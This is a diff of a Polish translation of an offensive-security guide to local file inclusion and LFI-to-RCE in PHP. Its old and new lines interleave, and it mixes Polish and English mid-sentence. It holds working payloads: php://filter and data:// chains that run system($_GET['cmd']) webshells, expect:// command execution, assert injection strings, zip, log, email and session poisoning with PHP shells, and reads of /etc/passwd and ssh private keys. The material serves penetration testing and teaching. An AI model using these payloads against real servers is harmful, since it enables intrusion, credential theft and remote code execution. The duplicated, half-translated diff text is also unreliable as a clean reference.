Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -215,34 +215,34 @@ Oto lista 25 parametrów, które mogą być podatne na local file inclusion (LFI
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filters pozwalają wykonać podstawowe **operacje modyfikacji na danych** przed ich odczytem lub zapisem. Istnieje 5 kategorii filtrów:
|
||||
PHP filters allow perform basic **operacje modyfikacji na danych** zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
|
||||
- Zauważ, że ten filtr zniknął w nowoczesnych wersjach PHP
|
||||
- `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")
|
||||
- Zauważ, że ten filtr został usunięty z nowoczesnych wersji PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . Aby uzyskać **listę wszystkich obsługiwanych kodowań** uruchom w konsoli: `iconv -l`
|
||||
- `convert.iconv.*` : Konwertuje do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich kodowań** obsługiwanych uruchom w konsoli: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Nadużywając filtra konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, by funkcja taka jak include przetwarzała dowolny tekst. Dla więcej informacji sprawdź [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Nadużywając filtru `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, by funkcja taka jak include przetworzyła dowolny tekst. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Decompress the data
|
||||
- `zlib.deflate`: Kompresuje zawartość (przydatne przy exfiltrating dużej ilości informacji)
|
||||
- `zlib.inflate`: Dekompresuje dane
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Inne filtry
|
||||
- Uruchamiając w PHP `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||
- `mcrypt.*` : Przestarzałe
|
||||
- `mdecrypt.*` : Przestarzałe
|
||||
- Other Filters
|
||||
- Uruchamiając w php `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||
- `consumed`
|
||||
- `dechunk`: reverses HTTP chunked encoding
|
||||
- `dechunk`: odwraca kodowanie chunked HTTP
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -271,39 +271,39 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||||
```
|
||||
> [!WARNING]
|
||||
> Część "php://filter" jest nieczuła na wielkość liter
|
||||
> Część "php://filter" jest niewrażliwa na wielkość liter
|
||||
|
||||
### Using php filters as oracle to read arbitrary files
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę umożliwiającą odczyt lokalnego pliku bez zwracania jego zawartości przez serwer. Technika ta opiera się na **boolean exfiltration of the file (char by char) using php filters** as oracle. Wynika to z faktu, że php filters mogą być użyte do powiększenia tekstu na tyle, by php zgłosił wyjątek.
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Technika ta bazuje na **boolean exfiltration of the file (char by char) using php filters** jako oracle. Dzieje się tak, ponieważ php filters mogą być użyte do powiększenia tekstu na tyle, żeby php zgłosił wyjątek.
|
||||
|
||||
W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótka podsumowanie:
|
||||
W oryginalnym artykule znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótkie podsumowanie:
|
||||
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **błąd**
|
||||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||
- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od zgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując moment, w którym wykonamy wystarczająco wiele transformacji, aby przestała być znakiem szesnastkowym. Jeśli jest hex, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||
- Używając innych transformacji jak **rot13** na początku, możliwe jest leak innych znaków takich jak n, o, p, q, r (i inne kodeki mogą być użyte do przesunięcia innych liter do zakresu hex).
|
||||
- Kiedy początkowy znak jest cyfrą, trzeba go zakodować base64 i leak pierwsze 2 litery, aby leakować tę cyfrę.
|
||||
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||
- A żeby móc uzyskać **further data** pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** za pomocą **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE** aby je **pivot with the next 2 bytes**, oraz **usuń dane aż do junk data** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj, aż dojdziesz do żądanego bitu do leak.
|
||||
- Użyj kodeka **`UCS-4LE`**, aby pozostawić początkowy znak tekstu na swoim miejscu i sprawić, że rozmiar ciągu będzie rósł wykładniczo.
|
||||
- Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie odgadnięta poprawnie**, php wywoła **błąd**.
|
||||
- Filtr **dechunk** **usunie wszystko jeśli pierwszy znak nie jest hex**, więc możemy stwierdzić, czy pierwszy znak jest hex.
|
||||
- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco wiele transformacji, aby przestała być znakiem heksadecymalnym. Ponieważ jeśli jest hex, dechunk jej nie usunie, a początkowa bomba spowoduje błąd php.
|
||||
- Kodek **convert.iconv.UNICODE.CP930** zmienia każdą literę na następną (więc po tym kodeku: a -> b). Pozwala to odkryć, czy pierwsza litera to np. `a`, ponieważ jeśli zastosujemy ten kodek 6 razy a->b->c->d->e->f->g, litera przestaje być znakiem heksadecymalnym, więc dechunk jej nie usunie, a błąd php zostanie wywołany, ponieważ mnoży się z początkową bombą.
|
||||
- Używając innych transformacji jak **rot13** na początku, możliwe jest leak innych znaków jak n, o, p, q, r (i inne kodeki mogą być użyte, aby przesunąć inne litery do zakresu hex).
|
||||
- Gdy początkowy znak jest cyfrą, trzeba zakodować go base64 i leak pierwsze 2 litery, aby leak tę liczbę.
|
||||
- Końcowym problemem jest ustalenie **how to leak more than the initial letter**. Używając filtrów zmieniających kolejność pamięci, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić porządek znaków i umieścić na pierwszej pozycji inne litery z tekstu.
|
||||
- A aby móc uzyskać **further data** pomysł polega na **generate 2 bytes of junk data at the beginning** przy użyciu **convert.iconv.UTF16.UTF16**, zastosować **UCS-4LE** aby to **pivot with the next 2 bytes**, i d**usuń dane aż do śmieciowych danych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to aż dotrzesz do żądanego bitu do leak.
|
||||
|
||||
W poście udostępniono także narzędzie do automatyzacji tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
W artykule opublikowano również narzędzie automatyzujące to: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Ten wrapper pozwala uzyskać dostęp do file descriptors, które proces ma otwarte. Potencjalnie przydatny do exfiltrate zawartości otwartych plików:
|
||||
Ten wrapper pozwala uzyskać dostęp do file descriptors, które proces ma otwarte. Potencjalnie przydatne do exfiltrate zawartości otwartych plików:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak mogłoby to być użyteczne w attack)
|
||||
Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
Wgraj plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.\
|
||||
Aby móc nadużywać protokołu rar, musi on być **specjalnie aktywowany**.
|
||||
Prześlij plik Zip lub Rar zawierający PHPShell i uzyskaj do niego dostęp.\
|
||||
Aby móc nadużyć rar protocol, **musi on być specjalnie aktywowany**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,11 +328,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Należy pamiętać, że ten protokół jest ograniczony przez ustawienia PHP **`allow_url_open`** i **`allow_url_include`**
|
||||
Zwróć uwagę, że ten protokół jest ograniczony przez konfiguracje PHP **`allow_url_open`** i **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect musi być aktywowany. Możesz za jego pomocą wykonać kod:
|
||||
Expect musi być aktywowany. Możesz wykonać kod, używając tego:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
@ -358,9 +358,9 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Po uruchomieniu zostanie utworzony plik o nazwie `test.phar`, który potencjalnie można wykorzystać do eksploatacji podatności Local File Inclusion (LFI).
|
||||
Po uruchomieniu zostanie utworzony plik o nazwie `test.phar`, który może potencjalnie zostać wykorzystany do ataków Local File Inclusion (LFI).
|
||||
|
||||
W przypadkach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP — np. przy użyciu funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` lub `filesize()` — można próbować wykorzystać deserialization vulnerability. Ta podatność jest związana z odczytem plików przy użyciu protokołu `phar`.
|
||||
W przypadkach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP — za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` lub `filesize()` — można spróbować wykorzystać podatność typu deserialization. Ta podatność wiąże się z odczytem plików przy użyciu protokołu `phar`.
|
||||
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
|
||||
@ -373,51 +373,51 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Dało się wykorzystać **any arbitrary file read from PHP that supports php filters** do uzyskania RCE. Szczegółowy opis można [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Bardzo krótkie podsumowanie: wykorzystano **3 byte overflow** w heap PHP, aby **alter the chain of free chunks** o określonym rozmiarze, co pozwoliło **write anything in any address**, więc dodano hook wywołujący **`system`**.\
|
||||
Możliwe było zaalokowanie chunków o specyficznych rozmiarach przez nadużycie kolejnych php filters.
|
||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
|
||||
It was possible to alloc chunks of specific sizes abusing more php filters.
|
||||
|
||||
### More protocols
|
||||
|
||||
Sprawdź więcej możliwych[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w file inclusion attack)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak może to być użyteczne w ataku file inclusion)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Dostęp do lokalnego systemu plików
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Wyszukiwanie nazw ścieżek pasujących do wzorca (Nie zwraca nic czytelnego, więc niezbyt przydatne tutaj)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdowanie ścieżek pasujących do wzorca (nie zwraca nic czytelnego, więc nie jest tu zbyt przydatny)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal, takie jak "..", jest sprawdzane, ale nieodpowiednio oczyszczone.
|
||||
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal takie jak ".." jest sprawdzane, ale nieprawidłowo sanitizowane.
|
||||
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Chociaż ma to na celu zablokowanie traversal, mimowolnie tworzy wektor do code injection. Aby to wykorzystać do odczytu zawartości pliku, atakujący mógłby użyć:
|
||||
Chociaż ma to na celu zatrzymanie traversal, niezamierzenie tworzy wektor do code injection. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Podobnie, do wykonywania dowolnych poleceń systemowych można użyć:
|
||||
Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
Ważne jest, aby **URL-encode these payloads**.
|
||||
It's important to **URL-encode these payloads**.
|
||||
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ta technika ma zastosowanie w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** **funkcji PHP**, która będzie **uzyskiwać dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana.
|
||||
> Ta technika ma zastosowanie w przypadkach, gdy **kontrolujesz** **file path** **PHP function**, która **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**) — zawartość nie jest wyświetlana.
|
||||
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal może być nadużyte przez PHP filter, aby **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
W skrócie, technika używa kodowania **"UCS-4LE"** aby sprawić, że zawartość pliku będzie tak **duża**, że **funkcja PHP otwierająca** plik wywoła **błąd**.
|
||||
W skrócie, technika polega na użyciu kodowania **"UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**.
|
||||
|
||||
Następnie, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
|
||||
Następnie, aby leak pierwszego znaku, używa się filtra **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a na końcu stosuje się filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE**, aby **umieścić inne znaki na początku i leakować je**.
|
||||
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -425,22 +425,22 @@ For the technical details check the mentioned post!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Dowolny zapis pliku przez Path Traversal (Webshell RCE)
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Gdy kod po stronie serwera, który przyjmuje/uploaduje pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez kanonizacji i walidacji, segmenty `..` i ścieżki absolutne mogą wydostać się poza zamierzony katalog i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym w sieci, zazwyczaj uzyskujesz nieautoryzowane RCE poprzez upuszczenie webshell.
|
||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||||
|
||||
Typowy przebieg eksploatacji:
|
||||
- Zidentyfikuj write primitive w endpointzie lub background workerze, który przyjmuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
|
||||
- Określ katalogi wystawione w sieci. Typowe przykłady:
|
||||
Typical exploitation workflow:
|
||||
- Zidentyfikuj write primitive w endpointcie lub background workerze, który akceptuje ścieżkę/nazwę pliku i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors, itd.).
|
||||
- Określ web-exposed directories. Typowe przykłady:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Sporządź traversal path, który wydostanie się z zamierzonego katalogu przechowywania do webroot i dołącz zawartość webshell.
|
||||
- Przejdź do upuszczonego payloadu i wykonaj polecenia.
|
||||
- Stwórz traversal path, który wydostanie się z zamierzonego storage directory do webroot i dołącz swoją zawartość webshell.
|
||||
- Otwórz wrzucony payload w przeglądarce i wykonaj polecenia.
|
||||
|
||||
Uwagi:
|
||||
- Usługa podatna, która wykonuje zapis, może nasłuchiwać na porcie nie‑HTTP (np. a JMF XML listener na TCP 4004). Główny portal web (inny port) później będzie serwował twój payload.
|
||||
- Na stosach Java zapisy tych plików często są implementowane prostą konkatenacją `File`/`Paths`. Brak kanonizacji/allow-listing jest główną wadą.
|
||||
Notes:
|
||||
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
|
||||
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -467,24 +467,24 @@ in.transferTo(out);
|
||||
</JMF>
|
||||
```
|
||||
Hardening that defeats this class of bugs:
|
||||
- Rozwiąż do ścieżki kanonicznej i wymuszaj, żeby była potomkiem katalogu bazowego znajdującego się na liście dozwolonych.
|
||||
- Rozwiązuj do kanonicznej ścieżki i wymuszaj, że jest potomkiem dozwolonego katalogu bazowego.
|
||||
- Odrzucaj każdą ścieżkę zawierającą `..`, ścieżki absolutne lub litery dysków; preferuj generowane nazwy plików.
|
||||
- Uruchamiaj writer jako konto o niskich uprawnieniach i oddziel katalogi zapisu od serwowanych rootów.
|
||||
- Uruchamiaj writer jako konto o niskich uprawnieniach i oddziel katalogi zapisu od katalogów serwowanych.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Wyjaśniono wcześniej, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Przez plik logu Apache/Nginx
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Jeśli serwer Apache lub Nginx jest **podatny na LFI** w funkcji include, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w **GET parameter** php shell taki jak **`<?php system($_GET['c']); ?>`** i dołączyć (include) ten plik
|
||||
Jeśli serwer Apache lub Nginx jest **podatny na LFI** w funkcji include, możesz spróbować uzyskać dostęp do **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, umieścić w **user agent** lub w parametrze **GET** php shell taki jak **`<?php system($_GET['c']); ?>`** i dołączyć ten plik
|
||||
|
||||
> [!WARNING]
|
||||
> Zwróć uwagę, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych**, podwójne cudzysłowy zostaną zmienione na ciąg "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**.
|
||||
> Zwróć uwagę, że **jeśli użyjesz podwójnych cudzysłowów** dla shell zamiast **pojedynczych cudzysłowów**, podwójne cudzysłowy zostaną zmienione na string "_**quote;**_", **PHP zgłosi błąd** i **nic więcej nie zostanie wykonane**.
|
||||
>
|
||||
> Upewnij się również, że **prawidłowo zapiszesz payload**, bo w przeciwnym razie PHP będzie rzucać błąd za każdym razem, gdy będzie próbowało załadować plik logu i nie będziesz mieć drugiej szansy.
|
||||
> Upewnij się też, że **write correctly the payload** albo PHP będzie wyrzucać błąd za każdym razem, gdy będzie próbował załadować plik logu i nie będziesz mieć drugiej szansy.
|
||||
|
||||
To można też zrobić w innych logach, ale **uważaj,** kod w logach może być URL-encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell można wstawić do tego nagłówka.\
|
||||
To można też zrobić w innych logach, ale **uważaj,** kod wewnątrz logów może być URL encoded i to może zniszczyć Shell. Nagłówek **authorisation "basic"** zawiera "user:password" w Base64 i jest dekodowany w logach. PHPShell można wstawić do tego nagłówka.\
|
||||
Other possible log paths:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -501,35 +501,35 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Przez e-mail
|
||||
|
||||
**Wyślij e-mail** na konto wewnętrzne (user@localhost) zawierający Twój PHP payload jak `<?php echo system($_REQUEST["cmd"]); ?>` i spróbuj dołączyć do maila użytkownika ścieżką taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
|
||||
**Wyślij maila** na konto wewnętrzne (user@localhost) zawierającego Twój PHP payload jak `<?php echo system($_REQUEST["cmd"]); ?>` i spróbuj dołączyć mail użytkownika ścieżką taką jak **`/var/mail/<USERNAME>`** lub **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Przez /proc/*/fd/*
|
||||
|
||||
1. Wgraj dużo shells (na przykład: 100)
|
||||
2. Dołącz [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), przy czym $PID = PID procesu (can be brute forced) a $FD to deskryptor pliku (can be brute forced too)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), z $PID = PID procesu (can be brute forced) i $FD = deskryptor pliku (can be brute forced too)
|
||||
|
||||
### Przez /proc/self/environ
|
||||
|
||||
Podobnie jak w przypadku pliku logu — wyślij payload w polu User-Agent; zostanie on odzwierciedlony w pliku /proc/self/environ
|
||||
Podobnie jak w przypadku pliku logu, wyślij payload w User-Agent — zostanie on odzwierciedlony w pliku /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Przez upload
|
||||
### Via upload
|
||||
|
||||
Jeśli możesz uploadować plik, po prostu wstrzyknij w niego shell payload (np : `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Aby zachować czytelność pliku, najlepiej wstrzyknąć to do metadanych obrazków/dokumentów/pdf
|
||||
Aby plik pozostał czytelny najlepiej wstrzyknąć do metadanych obrazów/doc/pdf
|
||||
|
||||
### Przez przesłanie pliku ZIP
|
||||
|
||||
Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp do:
|
||||
Prześlij plik ZIP zawierający skompresowany PHP shell i uzyskaj dostęp:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Za pomocą PHP sessions
|
||||
### Przez PHP sessions
|
||||
|
||||
Sprawdź, czy strona używa PHP Session (PHPSESSID)
|
||||
```
|
||||
@ -551,26 +551,26 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
```
|
||||
### Przez ssh
|
||||
|
||||
Jeśli ssh jest aktywny, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id_rsa**
|
||||
Jeśli ssh jest aktywne, sprawdź, którego użytkownika używa system (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Przez** **vsftpd** _**logi**_
|
||||
### **Przez** **vsftpd** _**logs**_
|
||||
|
||||
Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. W scenariuszu, gdzie istnieje podatność Local File Inclusion (LFI) i dostęp do wystawionego serwera vsftpd jest możliwy, można rozważyć następujące kroki:
|
||||
Logi serwera FTP vsftpd znajdują się w _**/var/log/vsftpd.log**_. Jeżeli istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:
|
||||
|
||||
1. Wstrzyknij payload PHP do pola username podczas procesu logowania.
|
||||
2. Po wstrzyknięciu użyj LFI, aby pobrać logi serwera z _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Przez filtr php base64 (używając base64)
|
||||
### Przez php base64 filter (using base64)
|
||||
|
||||
As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
|
||||
Jak pokazano w [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artykule, PHP base64 filter po prostu ignoruje znaki niebędące base64. Możesz tego użyć, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", filtr zignoruje "." i dołączy "php" do base64. Oto przykładowy payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
